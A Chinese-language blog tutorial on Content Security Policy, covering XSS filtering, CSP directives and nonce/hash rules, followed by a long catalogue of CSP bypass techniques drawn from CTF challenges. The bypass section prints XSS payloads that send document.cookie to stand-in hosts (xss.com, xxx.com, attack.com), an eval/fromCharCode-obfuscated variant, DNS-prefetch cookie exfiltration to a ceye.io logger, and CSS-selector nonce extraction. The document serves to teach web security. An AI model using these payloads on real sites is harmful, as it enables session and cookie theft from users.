CSP-And-CSP-Bypass

0x01 前端前言


对于一个基本的XSS漏洞页面,它发生的原因往往是从用户输入的数据到输出没有有效的过滤,就比如下面的这个范例代码。

1
2
3
<?php
$a = $_GET['a'];
echo $a;

对于这样毫无过滤的页面,我们可以使用各种方式来构造一个xss漏洞利用。

1
2
3
a=<script>alert(1)</script>
a=<img/src=1/onerror=alert(1)>
a=<svg/onload=alert(1)>

对于这样的漏洞点来说,我们通常会使用htmlspecialchars函数来过滤输入,这个函数会处理5种符号。

1
2
3
4
5
& (AND) => &amp;
" (双引号) => &quot; (当ENT_NOQUOTES没有设置的时候)
' (单引号) => &#039; (当ENT_QUOTES设置)
< (小于号) => &lt;
> (大于号) => &gt;

一般意义来说,对于上面的页面来说,这样的过滤可能已经足够了,但是很多时候场景永远比想象的更多。

1
2
3
4
5
<a href="{输入点}">
<div style="{输入点}">
<img src="{输入点}">
<img src={输入点}>(没有引号)
<script>{输入点}</script>

对于这样的场景来说,上面的过滤已经没有意义了,尤其输入点在script标签里的情况,刚才的防御方式可以说是毫无意义。
一般来说,为了能够应对这样的xss点,我们会使用更多的过滤方式。
首先是肯定对于符号的过滤,为了能够应对各种情况,我们可能需要过滤下面这么多符号

1
% * + , – / ; < = > ^ | `

但事实上过度的过滤符号严重影响了用户正常的输入,这也是这种过滤使用非常少的原因。

大部分人都会选择使用htmlspecialchars+黑名单的过滤方法

1
2
3
4
5
on\w+=
script
svg
iframe
link

这样的过滤方式如果做的足够好,看上去也没什么问题,但回忆一下我们曾见过的那么多XSS漏洞,大多数漏洞的产生点,都是过滤函数忽略的地方。
那么,是不是有一种更底层的防御方式,可以从浏览器的层面来防御漏洞呢?
CSP就这样诞生了…

0x02 CSP(内容安全策略)


CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。
CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机。
两种方法可以启用 CSP。一种是通过 HTTP 头信息的Content-Security-Policy的字段。
image.png
另一种是通过网页的标签。

1
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">

0x03 限制选项


① 以下选项限制各类资源的加载

  • script-src:外部脚本
  • style-src:样式表
  • img-src:图像
  • media-src:媒体文件(音频和视频)
  • font-src:字体文件
  • object-src:插件(比如 Flash)
  • child-src:框架
  • frame-ancestors:嵌入的外部资源(比如<frame>、<iframe>、<embed>和<applet>)
  • connect-src:HTTP 连接(通过 XHR、WebSockets、EventSource等)
  • worker-src:worker脚本
  • manifest-src:manifest 文件

②默认选项 default-src
default-src用来设置上面各个选项的默认值。

Content-Security-Policy: default-src ‘self’
上面代码限制所有的外部资源,都只能从当前域名加载。

如果同时设置某个单项限制(比如font-src)和default-src,后者会覆盖前者,即字体文件会采用font-src的值,其他资源依然采用default-src的值

③URL 限制
有时,网页会跟其他 URL 发生联系,这时也可以加以限制。

  • frame-ancestors:限制嵌入框架的网页
  • base-uri:限制<base#href>
  • form-action:限制<form#action>

④其他限制
其他一些安全相关的功能,也放在了 CSP 里面。

  • block-all-mixed-content:HTTPS 网页不得加载 HTTP 资源(浏览器已经默认开启)
  • upgrade-insecure-requests:自动将网页上所有加载外部资源的 HTTP 链接换成 HTTPS 协议
  • plugin-types:限制可以使用的插件格式
  • sandbox:浏览器行为的限制,比如不能有弹出窗口等。

0x04 选项值


每个限制选项可以设置以下几种值,这些值就构成了白名单。

  • 主机名:example.org,https://example.com:443
  • 路径名:example.org/resources/js/
  • 通配符:.example.org, \://*.example.com:*(表示任意协议、任意子域名、任意端口)
  • 协议名:https:、data:
  • 关键字’self’:当前域名,需要加引号
  • 关键字’none’:禁止加载任何外部资源,需要加引号

多个值也可以并列,用空格分隔。

1
Content-Security-Policy: script-src 'self' https://apis.google.com

如果不设置某个限制选项,就是默认允许任何值。

0x05 script-src 的特殊值


除了常规值,script-src还可以设置一些特殊值。注意,下面这些值都必须放在单引号里面。

  • ‘unsafe-inline’:允许执行页面内嵌的<script>标签和事件监听函数
  • unsafe-eval:允许将字符串当作代码执行,比如使用eval、setTimeout、setInterval和Function等函数。
  • nonce值:每次HTTP回应给出一个授权token,页面内嵌脚本必须有这个token,才会执行
  • hash值:列出允许执行的脚本代码的Hash值,页面内嵌脚本的哈希值只有吻合的情况下,才能执行。

nonce值的例子如下,服务器发送网页的时候,告诉浏览器一个随机生成的token。

1
Content-Security-Policy: script-src 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa'

页面内嵌脚本,必须有这个token才能执行。

1
2
3
<script nonce=EDNnf03nceIOfn39fn3e9h3sdfa>
// some code
</script>

hash值的例子如下,服务器给出一个允许执行的代码的hash值。

1
Content-Security-Policy: script-src 'sha256-qznLcsROx4GACP2dm0UCKCzCG-HiZ1guq6ZZDob_Tng='

下面的代码就会允许执行,因为hash值相符。

1
<script>alert('Hello, world.');</script>

注意,计算hash值的时候,<script>标签不算在内。

除了script-src选项,nonce值和hash值还可以用在style-src选项,控制页面内嵌的样式表。

重点: CSP绕过方式

CSP可以很严格,严格到甚至和很多网站的本身都想相冲突。

CSP对前端攻击的防御主要有两个:
1、限制js的执行。
2、限制对不可信域的请求。

一、url跳转(普通)

在default-src ‘none’的情况下,可以使用meta标签实现跳转

1
<meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >

在允许unsafe-inline的情况下(没有过滤的情况下)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<script>
window.location="http://www.xss.com/x.php?c=[cookie]";
</script>

<script>document.location=http://xxx.com+document.cookie</script>
<script>location.href=http://xxx.com+document.cookie</script>
<script>
var i = document.createElement('img');
i.src = 'http://xxx.com' + document.cookie;
document.body.appendChild(i);
</script>

有过滤的情况
Google CTF 2016 Wallowing Wallabies - Part Three
过滤了所有的点,属性的点可以用 [''] 的形式来代替,URL 我们可以用 String.fromCharCode 函数

<script>
var i = document['createElement']('img');
i['src'] = String['fromCharCode'](http://xxx.com 所对应的 Ascii 码,用逗号分隔) + document['cookie'];
document['body']['appendChild'](i);
</script>

注: img、video、audio、iframe、a 等标签,他们的 src 或 href 属性可以让他们对外域发起请求。

script ‘self’ ‘unsafe-inline’ ‘unsafe-eval’
当unsafe-inline 和 unsafe-eval 都开启的情况下,过滤了很多关键字,唯独没有过滤eval.可绕过

1
2
3
4
5
6
7
8
document.location=http://xxx.com+document.cookie
String.fromCharCode(100, 111, 99, 117, 109, 101, 110, 116, 46, 108, 111, 99, 97, 116, 105, 111, 110, 61, 104, 116, 116, 112, 58, 47, 47, 120, 120, 120, 46, 99, 111, 109, 43, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101)

再用eval函数执行

<script>eval(String.fromCharCode(100, 111, 99, 117, 109, 101, 110, 116, 46, 108, 111, 99, 97, 116, 105, 111, 110, 61, 104, 116, 116, 112, 58, 47, 47, 120, 120, 120, 46, 99, 111, 109, 43, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101))</script>

这样就避开了很多关键字,当然不保证会直接过滤掉 eval。

二、标签预加载

在 HTML5 中有一个新特性,Link Prefetch(页面资源预加载),浏览器会根据指示在空闲时预加载指定的页面,并把它们存储在缓存里,这样用户访问这些页面时,浏览器就能直接从缓存中提取出来,从而加快访问速度

CSP对link标签的预加载功能考虑不完善。
在Chrome下,可以使用如下标签发送cookie(最新版Chrome会禁止)

1
2
3
4
5
6
7
8
9
10
11
12
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';

<link rel="prefetch" href="http://www.xss.com/x.php?c=[cookie]">
但是在标签内的话是没办法打到 Cookie 的,但如果我们可以执行内联 JS,情况就不一样了

exp:
<script>
var i=document.createElement('link');
i.setAttribute('rel','prefetch');
i.setAttribute('href','http://xxx.com?'+document.cookie);
document.head.appendChild(i);
</script>

Content-Security-Policy: default-src ‘self’; script-src ‘self’ ‘unsafe-inline’;

在Firefox下,可以将cookie作为子域名,用dns预解析的方式把cookie带出去,查看dns服务器的日志就能得到cookie

dns-prefetch(DNS预解析) 允许浏览器在后台提前将资源的域名转换为 IP 地址,当用户访问该资源时就可以加快 DNS 解析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<link rel="dns-prefetch" href="//[cookie].xxx.ceye.io">

exp:
<script>
dcl = document.cookie.split(";");
n0 = document.getElementsByTagName("HEAD")[0];
for (var i=0; i<dcl.length;i++)
{
console.log(dcl[i]);
n0.innerHTML = n0.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + escape(dcl[i].replace(/\//g, "-")).replace(/%/g, "_") + '.' + location.hostname.replace(/\./g, "-") + ".xxxxxx.ceye.io\">";
}
</script>

因为域名的命名规则是 [.-a-zA-Z0-9]+,所以需要对一些特殊字符进行替换
然后到 ns 服务器上获取 DNS 查询记录就可以了(用ceye平台)

与此类似的还有 preconnect、preload、prerender,具体题目具体分析

三、利用浏览器的补全

有些网站限制只有某些脚本才能使用,往往会使用<script>标签的nonce属性,只有nonce一致的脚本才生效,比如CSP设置成下面这样:

1
Content-Security-Policy: default-src 'none';script-src 'nonce-abc'

那么当脚本插入点为如下的情况时

1
2
<p>插入点</p>
<script id="aa" nonce="abc">document.write('CSP');</script>

可以插入

1
<script src=//14.rs a="
1
2
 <p><script src=//attack.com a="</p><script" nonce="abc">document.write('CSP');</script>
其中src可以任意

四、利用文件上传执行JS

1
Content-Security-Policy: default-src 'self'; script-src 'self'

针对只能加载同域下script的CSP策略,如果有上传点可以控制,那么可以在其中夹杂js代码,然后引用该文件完成执行。

五、base标签

利用base标签改变资源加载的域,从而引入恶意的js,造成js执行

六、代码重用

Blackhat2017上有篇ppt总结了可以被用来绕过CSP的一些JS库。
例如假设页面中使用了Jquery-mobile库,并且CSP策略中包含”script-src ‘unsafe-eval’”或者”script-src ‘strict-dynamic’”,那么下面的向量就可以绕过CSP:

1
<div data-role=popup id='<script>alert(1)</script>'></div>

在这个PPT之外的还有一些库也可以被利用,例如RCTF2018中遇到的amp库,下面的标签可以获取名字为FLAG的cookie

1
<amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>

七、iframe

1.如果页面A中有CSP限制,但是页面B中没有,同时A和B同源,那么就可以在A页面中包含B页面来绕过CSP:

1
<iframe src="B"></iframe>

2.在Chrome下,iframe标签支持csp属性,这有时候可以用来绕过一些防御,例如”http://xxx“页面有个js库会过滤XSS向量,我们就可以使用csp属性来禁掉这个js库。

1
<iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>

八、meta标签

meta标签有一些不常用的功能有时候有奇效:
meta可以控制缓存(在header没有设置的情况下),有时候可以用来绕过CSP nonce

1
<meta http-equiv="cache-control" content="public">

meta可以设置Cookie(Firefox下),可以结合self-xss利用。

1
<meta http-equiv="Set-Cookie" Content="cookievalue=xxx;expires=Wednesday,21-Oct-98 16:14:21 GMT; path=/">

总结以上

1
header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' ");

比起刚才的CSP规则来说,这才是最最普通的CSP规则。

unsafe-inline是处理内联脚本的策略,当CSP中制定script-src允许内联脚本的时候,页面中直接添加的脚本就可以被执行了。

1
2
3
<script>
js code; //在unsafe-inline时可以执行
</script>

既然我们可以任意执行js了,剩下的问题就是怎么绕过对可信域的限制。

0x06 升级版CSP

由于CSP常常为了兼容各种情况,常设置成松散状态,在便利的同时,也带来的很多安全问题。
google于16年12月发布的关于CSP调研的paper
https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/45542.pdf
其中提出两点
1、nonce script CSP

1
header("Content-Security-Policy: default-src 'self'; script-src 'nonce-{random-str}' ");

动态的生成nonce字符串,只有包含nonce字段并字符串相等的script块可以被执行。

1
<script nonce="{random-str}">alert(1)</script>

这个字符串可以在后端实现,每次请求都重新生成,这样就可以无视哪个域是可信的,只要保证所加载的任何资源都是可信的就可以了。

1
2
3
4
<?php
Header("Content-Security-Policy: script-src 'nonce-".$random." '"");
?>
<script nonce="<?php echo $random?>">

2、strict-dynamic

1
header("Content-Security-Policy: default-src 'self'; script-src 'strict-dynamic' ");

strict-dynamic意味着可信js生成的js代码是可信的。
这个CSP规则主要是用来适应各种各样的现代前端框架,通过这个规则,可以大幅度避免因为适应框架而变得松散的CSP规则。

俗称黑客攻防,有防必有攻。

0x07 绕过升级版CSP

CSP nonces 通常不能单独防御
1、持久型 DOM XSS,当攻击者可以强制将页面跳转至易受攻击的页面,并且 payload 不包括在缓存的响应中(需要提取)。
2、包含第三方 HTML 代码的 DOM XSS 漏洞(例如,fetch(location.pathName).then(r=>r.text()).then(t=>body.innerHTML=t);)
3、XSS payload 存在于 location.hash 中的 DOM XSS 漏洞(例如 https://victim/xss#!foo?payload=)

一、nonce script CSP Bypass
从location.hash导致的DOM XSS可以看出,攻击请求不会经过后台,那么nonce后的随机值就不会刷新。
例题:https://lorexxar.cn/2017/05/16/nonce-bypass-script/

除了最常见的location.hash,有一个新的攻击方式,通过CSS选择器来读取页面内容。

这个攻击方式的结论是,创建一个 CSS 程序从 HTML 属性中逐字节提取数据是可行的,只需通过在每次 CSS 选择器匹配时生成 HTTP 请求,并持续重复。如果你没有看懂它是怎么回事,看看这里。它的工作方式非常简单,它只是创建了一个表单的 CSS 属性选择器:

1
2
3
4
*[attribute^="a"]{background:url("record?match=a")}
*[attribute^="b"]{background:url("record?match=b")}
*[attribute^="c"]{background:url("record?match=c")}
[...]

然后,一旦我们得到匹配结果,重复:

1
2
3
4
*[attribute^="aa"]{background:url("record?match=aa")}
*[attribute^="ab"]{background:url("record?match=ab")}
*[attribute^="ac"]{background:url("record?match=ac")}
[...]

直到它提取出完整的属性。

script 标签的攻击非常简单。我们需要做完全相同的攻击,只需要确保 script 标签设置为 display:block; 。

因此,我们现在可以使用 CSS 提取 CSP nonce,我们唯一需要这么做的就是在同一页面注入多次。上面我给你的 DOM XSS 的三个例子正是如此。一种在同一文档多次注入 XSS payload 的方法。

0x08 写在最后

CSP 作为内容安全策略,在合理配置的情况,可以极大的提高 xss 的攻击成本,以达到较好的防御效果,然而部署成本同样较高,一是熟练掌握相关策略带来的难度,一是配置 CSP 所带来的工作量。

CSP 的不当配置不仅会引发安全问题,还有可能导致页面资源加载失败,但总的来说,CSP 仍然是防范 XSS 攻击较为优秀的措施。

参考:
CSP策略及绕过方法
那些年我们绕过的CSP
CSP绕过总结
前端防御从入门到弃坑–CSP变迁
通过浏览器缓存来bypass CSP script nonce
How to bypass CSP nonces with DOM XSS ?
浅谈 XSS 发送外域请求

-------------本文结束感谢您的阅读-------------